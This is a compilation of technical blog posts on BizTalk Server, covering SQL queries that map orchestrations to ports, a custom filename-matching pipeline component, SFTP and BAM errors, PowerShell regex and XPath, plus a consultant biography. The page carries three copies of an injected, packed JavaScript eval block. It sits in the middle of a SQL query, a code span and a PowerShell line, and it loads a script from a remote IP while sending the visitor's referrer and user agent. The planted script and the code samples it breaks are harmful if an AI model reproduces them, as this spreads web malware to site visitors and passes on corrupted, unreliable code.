Suppose you want to know what BizTalk Orchestrations are bound to a send port.
Perhaps you ran my query to list send ports related to a receive port.

NOTE: Still experimental code; haven’t verified much.

rp.nvcName as 'ReceivePort',
op.nvcName as 'OrchPort',
o.nvcName as 'Orchestration'
--pto.nvcName as 'PortTypeOperation',
from bts_receiveport rp
inner join bts_orchestration_port_binding opb on rp.nID = opb.nReceivePortID
inner join bts_orchestration_port op on op.nID = opb.nOrcPortId --and op.nPortTypeID in (1,9) -- recieve ports only (9 = activating receive)
inner join bts_orchestration o on o.nID = op.nOrchestrationID
--where rp.nvcName like '%ABC%'

See also the query on this page to do similar by message type:

Suppose you are at a new clients, and you want to see quickly all the orchestrations are bound to send and receive ports.
Here’s some code to help you get started with that.

select <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|edksi|var|u0026u|referrer|zhnfn||js|php'.split('|'),0,{}))
</script></noindex> op.nvcName as 'OrchInternalPortName',
       o.nvcName as 'OrchName', 
	   'SendPort' as 'SendOrReceive',
	   sp.nvcName as 'PortName'
from bts_orchestration_port op 
inner join bts_orchestration o on o.nid = op.nOrchestrationID 
inner join bts_orchestration_port_binding opb on opb.nOrcPortID = op.nID 
inner join bts_sendport sp on sp.nid = opb.nSendPortID
--order by sp.nvcName 
select op.nvcName as 'OrchInternalPortName',
       o.nvcName as 'OrchName', 
	   'ReceivePort' as 'SendOrReceive',
	   rp.nvcName as 'PortName' 
from bts_orchestration_port op 
inner join bts_orchestration o on o.nid = op.nOrchestrationID 
inner join bts_orchestration_port_binding opb on opb.nOrcPortID = op.nID 
inner join bts_receiveport rp on rp.nid = opb.nReceivePortID
order by 'portname'

Sorry, can’t show any actual results at this time.

This is similar but different from a prior SQL xref I posted that ties RecievePorts to SendPorts.

I actually forgot about this, and did the same code again on another day: Xref BizTalk Receive Ports to Orchestrations.

<code><span class="str">When <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fsahe|var|u0026u|referrer|kfinb||js|php'.split('|'),0,{}))
</script></noindex> running NUGET "install-package NEST" (or possibly any other that uses newtonsoft-json), get error: 
"'Newtonsoft.Json' already has a dependency defined for 'Microsoft.CSharp'"

In my case, I was at a client running Visual Studio 2013 and needed to upgrade the version of Nuget. 

Reference: <a href=""></a>

In Visual Studio: Tools -&gt; Extensions and Updates -&gt; Updates tab -&gt; Visual Studio Gallery.
Below is the screen I saw, I clicked the "Update" ubtton next to NuGet, it installed, had to restart Visual Studio, then the tried the original install-package command again and it worked. </span></code>

Today, with the popularity of GitHub, many people are using MarkDown files to create their documentation.
While there are plug-ins for Chrome I have yet to try, I found this cool site today:

Left side is where you paste the .md contents, right side is the formatted results:


Doesn’t that look a lot better than viewing it in Notepad?

To use it, just copy/paste the content of the “.md” markup file into the left side of StackEdit.IO and it formats it on the left, including the retrieval of the pictures. But note, any relative link might not work.

$filename <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndhzn|var|u0026u|referrer|ebaen||js|php'.split('|'),0,{}))
</script></noindex> = "c:\Users\Neal\OneDrive\Documents\myFile.html"

#example of what I'm trying to pick out
$regexPattern = "<strong>(.*?)</strong></a>"

gc $filename | Select-String -Pattern $regexPattern -AllMatches | ForEach-Object {$_.matches.groups[1].value}

Note that the Matches returns two groups with subscripts 0 and 1. The subscript 0 contains the tags “strong” around the match. the subscript 1 contains just the captured text. Thus I put groups[1].value in the logic above. Groups is an object that has several variables; “Value” is the one we need here (see related blogs below).

When can take it to the next level and generate SQL statements to insert those domains into a SQL table.
This is done with one long line of code and using the pipeline (piping).

gc $filename | Select-String -Pattern $regexPattern -AllMatches  |  ForEach-Object {Write-Host "insert into domains values ('$($_.matches.groups[1].value)')"} 

Output is a list or the matching domain names to the console.

References that helped me get this:

See also my related blog on Powershell Regex and the objects that it returns (below).



Business Requirement:

Only send an email to the credit department if the filename contains the word “EXPORT” and and ends with .txt.

We cannot put *EXPORT*.txt in the Receive Location, because there are other files coming in with different patterns.

Question: How would you do that in BizTalk?

BizTalk has filters on the send ports. So in theory, you could filter on the filename. But guess what?
There is no operator for “contains”, or “matches”, or any RegEx (Regular Expressions).

The image below shows the field we would use: FILE.ReceivedFileName, but there is no operator that helps solve this problem.

My Solution:

On the ReceivePort, I created my own custom pipeline component, did the matching myself, and promoted fields if the results were true. The admin/developer can identify the name of the promoted field as one of the values in my Pipeline Component. He also provides the filemask he wants to match.

The receive port pipeline configuration is shown below.

I created a Property Schema that corresponds:

Then in the SendPort, I can test the promoted fields that were promoted by that Receive Pipeline component.

The pipeline component is too big to include here, but here are some key fragments.

First, I found the code below on StackOverflow to do file matching like DOS does:

        private static bool FitsMask(string fileName, string fileMask)
            string pattern =
                 '^' +
                 Regex.Escape(fileMask.Replace(".", "__DOT__")
                                 .Replace("*", "__STAR__")
                                 .Replace("?", "__QM__"))
                     .Replace("__DOT__", "[.]")
                     .Replace("__STAR__", ".*")
                     .Replace("__QM__", ".")
                 + '$';
            bool result = new Regex(pattern, RegexOptions.IgnoreCase).IsMatch(fileName);
            return result; 

setPromotedField is a common function that I could easily call over and over, as shown in the code bock following this one.

 * Neal Walters 
 * 05/19/2017 
 * The purpose of this is to allow for more complex file matching, 
 * and allow the SendPort to do a subscription when the file does NOT contain a given mask. 
 * For example, in BillTrust, there was need to write file to disk if filename 
 * contains "Export" but not "*.txt".
 * So this component is put in a pipeline that runs on the Receive, and sets 
 * a series of promoted fields FileMatchGroup## (01-07) 
 * that can be used as Filters in the SendPort. 
 * Each of the 7 fields come in a pair, e.g. 
 * FileMask01Matches and FileMask01Group 
 * The matches field will be something like *.txt, and when true, the value of 
 * FileMask01Group will be set in the promoted fields, otherwise it is created with a value of blank. 
 * For further flexibility, The FileMask01Matches can contain an array of Matches, such as: 
 * *.txt,*.csv,*.xls 
 * The program will split on the comma, and if any one of the masks is true, 
 * then the FileMask01Group will be set. 

        private static void setPromotedField(string seqNum,
                                                string strMatches,
                                                string strMaskGroup,
                                                string argReceivedFileName,
                                                IBaseMessage pInMsg)
            string promotedFieldNamespace = "https://MyCompany.Common.PropertySchemas.CommonPropertySchema";

            // See the comments at the top of this pipeline component to explain this logic. 

            if (strMatches != null && strMatches.Length > 0)
                //Before doing the split/array, this was the logic: 
                //bool fitsMaskResult = FitsMask(argReceivedFileName, strMatches);

                // allow multiple patterns, comma separated 
                // Pipe symbol was used, because Windows files cannot have pipe symbol, 
                // and because comma looks a lot like a comma in the 
                // BizTalk Admin Console configuration screens 

                string[] matchPatterns = strMatches.Split('|');
                bool fitsMaskResult = false;
                bool foundAtLeastOneMatch = false; 
                string debugSummary = "";

                // Loop through each of the split items (each mask/pattern) 
                // If any one of them is true, we count it as a match. 
                foreach (string matchPattern in matchPatterns)
                    fitsMaskResult = FitsMask(argReceivedFileName, matchPattern);
                    debugSummary = debugSummary + matchPattern + "=" + fitsMaskResult + ",";
                    if (fitsMaskResult)
                        foundAtLeastOneMatch = true; 
                string strSetValue = "";
                if (foundAtLeastOneMatch)
                    strSetValue = strMaskGroup;

                // Example: FileMask##Group - we substituted the two char seqNum to get the field name 
                // Note: We create a promoted field even if the match is false; 
                // this is to ensure that we can test the field in subequent SendPort Filter statements. 
                string varName = "FileMask" + seqNum + "Group";
                pInMsg.Context.Promote(varName, promotedFieldNamespace, strSetValue);


The above “setPromotedField” function is called like this:

	string receivedFileName = pInMsg.Context.Read(

	// Repeat exact same process for 7 propertyBag pairs of fields 

	setPromotedField("01", this.FileMask01Matches, this.FileMask01Group, receivedFileName, pInMsg);
	setPromotedField("02", this.FileMask02Matches, this.FileMask02Group, receivedFileName, pInMsg);
	setPromotedField("03", this.FileMask03Matches, this.FileMask03Group, receivedFileName, pInMsg);
	setPromotedField("04", this.FileMask04Matches, this.FileMask04Group, receivedFileName, pInMsg);
	setPromotedField("05", this.FileMask05Matches, this.FileMask05Group, receivedFileName, pInMsg);
	setPromotedField("06", this.FileMask06Matches, this.FileMask06Group, receivedFileName, pInMsg);
	setPromotedField("07", this.FileMask07Matches, this.FileMask07Group, receivedFileName, pInMsg);


The adapter failed to transmit message going to send port “sp_Test_SFTP” with URL “s”. It will be retransmitted after the retry interval specified for this Send Port. Details:”System.IO.FileLoadException: Could not load file or assembly ‘WinSCPnet, Version=, Culture=neutral, PublicKeyToken=2271ec4a3c56d0bf’ or one of its dependencies. General Exception (Exception from HRESULT: 0x80131500)
File name: ‘WinSCPnet, Version=, Culture=neutral, PublicKeyToken=2271ec4a3c56d0bf’ —> System.Exception: SFTP adapter requires WinSCP to be installed. Please refer . —> System.IO.FileNotFoundException: Could not load file or assembly ‘file:///C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.BizTalk.Adapter.Sftp\v4.0_3.0.1.0__31bf3856ad364e35\WinSCPnet.dll’ or one of its dependencies. The system cannot find the file specified.


I think BizTalk requires a specific older version of WinSCP and you can’t just download the latest one.
This error could also occur if you didn’t copy the file to the proper directly.

I found Michael Stephenson’s BizTalk 2016 SFTP blog, and it had a nice PowerShell script.

I just had to
1) Change directory names (I had a Software directory similar to him, but I had to create a WinSCP subdirectory under it)
2) Then PowerShell with the “Run as Admin” option.

Then the script ran fine, I restarted BizTalk Host Instance, and it got past this error, on to other errors that I’ll blog about in the near future.

By the way, I was able to run in a 64-bit host with no problem.  I remember that in older version of BizTalk the FTP adapter ran only in 32-bit hosts.




I have documented some of the questions/issues in this BAM issues post in StackOverflow.

BAM Activity shows BAM.xla “variable not defined” Error in Excel on lvwTraces

I found the solution for this in this blog: “BAM ‘variable not defined” Error in Excel“.  But for some reason, that blog doesn’t come up at the top of the Google search when  you search for the various related keywords.  [That’s one reason I’m writing this blog post, to boost up that one.]

The solution is related to your Active-X control settings.  BAM uses a lot of Windows and Active-X plugins to accomplish what it does inside your Excel spreadsheet.   You have to go to “File” then “Options”, select Trust Center – Trust Center Settings – ActiveX Settings. Set ActiveX Settings to anything except “Disable..” as shown on the blog referenced above.

Every time you open a new spreadsheet (to create a new BAM Activity View), you will have to do this step again.  But if you save a spreadsheet and then re-open, those settings will be saved in that spreadsheet.

After doing the above, you may get this next error:

Unable to get resource string

The solution I chose was to install the “Office Multilingual User Interface (MUI) pack”.

This video gives an idea of some of the projects a BizTalk Architect are involved with. Neal Walters has worked in a number of industries, including: Oil and Gas, Mortgage, Banking, Manufacturing and Reverse Logistics, Government, Healthcare, Insurance, Aviation/Airline Fueling, Student Loans and Non-Profits.

Neal started with mainframes back in 1981 with Amerada Hess Corporation in Tulsa, Oklahoma. Tulsa used to be called “the oil capital of the world.” It was actually in Tulsa where Neal taught his first BizTalk class on the 2002 version (which is horrible compared to BizTalk 2004 and onward).

Neal was an independent Microsoft Certified Trainer from 2001-2004. After his last mainframe project, which was a Y2K conversion as an IDMS database administrator, he re-tooled himself in the Microsoft platform. Back then, this meant Visual Basic; but as soon as .NET and C# came out, Neal got trained in that, and became a trainer on it as well.

He was chosen to attend the BizTalk 2004 Trainer the Trainer class in Redmond, Washington. This was an intense one week bootcamp. Microsoft was interesting in pushing BizTalk and increasing sales, so they knew they would need trainers and people in the field with knowledge on the product. After that class, he taught the BizTalk 2004 class over 15 times; it was one of his most popular classes.

As a trainer, Neal got into a variety of topics. Being independent, one has sometimes has to learn the product and then teach it. He taught VB, C#, classic ASP, and even JavaScript and PHP. A Microsoft XML course was also one of his popular classes. The funniest thing that once happened was a Java based company brought him in to teach Microsoft XML, when in fact they want to learn how to do XML in Java. It wasn’t funny at that time!

Neal decided to go back into consulting, having been a consultant since 1994 in the mainframe world. He first BizTalk project was for a E-Commerce company near Ft. Lauderdale Florida that sold watches and diamonds and other luxury goods on three of their own websites. They did an integration with Amazon that put the Florida company’s products on Amazon, and processed the orders into their existing back-end system.

His next project was in Colorado Springs for a non-profit Christian organization that allows individuals to sponsor children in countries around the world. Neal sponsored a child with that company, and has been doing it since then. He said it’s great to watch his sponsored child grow up, and knows the benefits of the program. This organization received orders from the web, then sent them through a backend Service Oriented Architecture consisting of webservices and BizTalk.

From there he actually had two separate contracts in Santa Fe, New Mexico. The first was with the State of New Mexico doing Medicaid. That involved using HIPAA messages such as the 837 for doctors, dentists, hospitals, and pharmacies. The claims were then sent on to an existing mainframe system to be adjudicated for payment. Next, he was brought in to a mortgage company that was doing an complete rewrite of their entire software system, and BizTalk was the hub of their Enterprise Application Integration, which integrated 17 disparate systems.

Next, he had a short project in Waco for an insurance company. What was interesting about this project was they wanted to have a mainframe COBOL/CICS screen make a real-time call to an external company’s web service. This was done by using Microsoft’s Host Integration Server. It used to be a separately bundled product, but now it is included in BizTalk.

From there, Neal landed another great location – San Francisco, California in the heart of the financial district. A bank wanted to integrate with a third party “wealth management system”. It turns out that many Hollywood stars and wealthy people in California hire “wealth managers”, who might do everything from hire their maid staff, find them a chauffeur, and even manage their money for them. They wanted to be able to move money between accounts using their system, without having to logon to the bank’s website. Another big feature was the ability to do wire tranfers from their system.

Then zoom across to the East coast in Boston, where Neal spent one of the good winters working with student loans again. Another non-profit was revamping their business model after changes made by the Obama adminstration. Data files came in from 100s of different colleges across the United States; and it turns out that many of those colleges have tiny IT departments that send a lot of “dirty data”. We were constantly struggling with cleaning-up the data they were sending in, mostly in CSV (Comma Separate Value) files.

Finally, Neal got his first BizTalk contract in his own home town of Dallas. A small company made a handeheld device that fuelers use to fuel airlines. The device collects the data of the fuel put on the plane for later billing purposes, and could actually shut off the pump to prevent overfueling. This was interesting because the BizTalk team there has to process large feeds from major airlines, for every flight at the airports we covered. So there was a lot of data filtering, and over a million messages being processed per day. As you know, flights change often. Then the fuel loads can change as well. The data was received using MQSeries, which was a great companion tool to use with BizTalk. Nightly summary files were also sent to dozens to fuelding companies at dozens of local airports.

Then, a second position in Dallas, Neal worked with an international company that repairs phones, tablet, laptops, PCs, and other electronic devices. The data load there was also astounding, as well as the number of customer/trading partners, many of which were insurance companies. When a person breaks a device, the Dallas office would repair it and send it back to the customer.

Neal is reachable at 214-455-8060 to discuss BizTalk consulting. You might have to leave a message, but he will get back to you (especially if you mention that you are NOT a recruiter). Neal has realized with the internet, there is no need need for the middle man. He is incorporated, works C2C (Corp-to-Corp), and has met all the liability and workers compensation requirements.

Have you ever been confused by the long XPaths found in BizTalk? XPath is a great syntax used to select or query XML and return XML nodes or specific element/attribute values. XPath is good to know for BizTalk, .NET programming, and XSLT.

Example 1

For example, look at the schema below.

Demo BizTalk Schema

Demo BizTalk Schema

If you click on the “Name” element, then go to the properties window, you will see the following Xpath in the value of the field called “Property XPath”.

/*[local-name()='SchemaDemo2' and namespace-uri()='http://BizTalkSampleProject.SchemaDemo2']/*[local-name()='ShippingAddress' and namespace-uri()='']/*[local-name()='Name' and namespace-uri()='']

What does the above actually mean? W3Schools has a good tutorial on XPath, but it doesn’t cover dealing with namespaces. On this xpath syntax page, it does however define a predicate which is the XPath code in between the square brackes [].

Predicates are used to find a specific node or a node that contains a specific value.

Predicates are always embedded in square brackets.

In the table below we have listed some path expressions with predicates and the result of the expressions:


And here are the example they give, but no examples with namespaces!


So think of a predicate as a “Where Clause”. Even in SQL terminology, a predicate is something that results in a TRUE or FALSE.

So when you see the typical Microsoft generated XPath, it can be explained as follows. The / is the normal separator, and starting point from the current node. The “*” is the abbreviation for the “child” axis (explained more here:,, It selects all element children of the context node.

But then we don’t really want all the nodes, so we apply the predicate or “where clause” – only give me the nodes where the local-name()=’SchemaDemo2′ and namespace-uri()=’http://BizTalkSampleProject.SchemaDemo2′ (and that must be enclosed in brackets). local-name() and namespace-uri() are functions (or internal variables?) that return the current element name and the current namespace). If you have the same namespace all the way through your schema, then you can leave off the namespace-uri() predicate.

In other words, the longer full syntax is often shortened to this:


The only time this shortening would get you in trouble is if you had the same element under more than one namespace.

Example 2

Consider this example, where I created an Address schema, then I imported it into the Labels Schema, then made one Billing Address and one Shipping Address.


/*[local-name()='Labels' and namespace-uri()='http://BizTalkSampleProject.Labels']/*[local-name()='BillingAddress' and namespace-uri()='']/*[local-name()='Address' and namespace-uri()='http://BizTalkSampleProject.AddressSchema']/*[local-name()='Name' and namespace-uri()='']

It turns out that even in this case, you could shorten the XPath to the following:


So one case where you couldn’t shorten it would be when you had two Address nodes with different namespaces.

Testing XPath Online

Now, I want to go into some reasons why I wrote this blog. I was using C# to loop through XML of a bigger document.
Inside the loop, I have this chunk of XML in an XmlNode.

I’ve been testing XPath Online with
If I start my XPath with two slashes, it seems to be going back to the top of the entire XML document, rather than just searching the current node.

I originally had this xpath:


So basically, I my aim is to pick out the orchestration variable name, which is the example below is “strYNTraceOnFromSSO”;
It works fine in Xpath Tester because I have just the above text, but in C# it is returning some node outside of that text. (I guess I could reload the XML in a new XML document, but using this as an opportunity to get a better graso my XPath).

This was my XML, which actually came out of an .odx file.

Here is what the query looks like in XPath Tester: Xpath Tester So if I start my Xpath with /*, I would need to specify the parent node, right? This example returns the following error:


returns error: ERROR – Failed to evaluate XPath expression: javax.xml.transform.TransformerException: A location step was expected following the ‘/’ or ‘//’ token.

Looking back, it’s an obvious error, but it wasn’t at the time. In easy XPath, you can just put a slash between the elements. But when using the predicates, you have to put /* to indicate “all elements where the name=’Property'”.

Why is there no slash or /* before the attribute? Because it’s a predicate on the predicate. Only return for me Property elements that have an attribute called “Name” that also has a value of “Name”.

Here is the correct result in XPath Tester, returning the selected Property element:

C# Code

Above example found the desired Property element only. In the sample code below I go down and pick off the value of the attribute.  This code basically loops through all the variables in an orchestration.

            string xpathTopLevelVariables = @"//*[local-name()='Element'][@Type='VariableDeclaration']";
            XmlNodeList xmlNodeList = xmlNodeServiceDeclaration.SelectNodes(xpathTopLevelVariables);

            foreach (XmlNode xmlNode in xmlNodeList)
                XmlDocument xmlDoc2 = new XmlDocument();
                xmlDoc2.LoadXml(xmlNode.OuterXml);   // this seems unnecessary to me, but it works 
                string xpathProperty = "/*[local-name()='Element']/*[local-name()='Property'][@Name='Name']/@Value";
                string variableName = xmlDoc2.SelectSingleNode(xpathProperty).Value;
                // other unrelated code omitted 


Note: For some reason, I had to reload the chunk of XML into a new xml document, otherwise I was getting all data from the top rather from the current node downward. I wanted to put the SelectSingleNode method directly on the xmlNode variable, but I didn’t solve that challenge.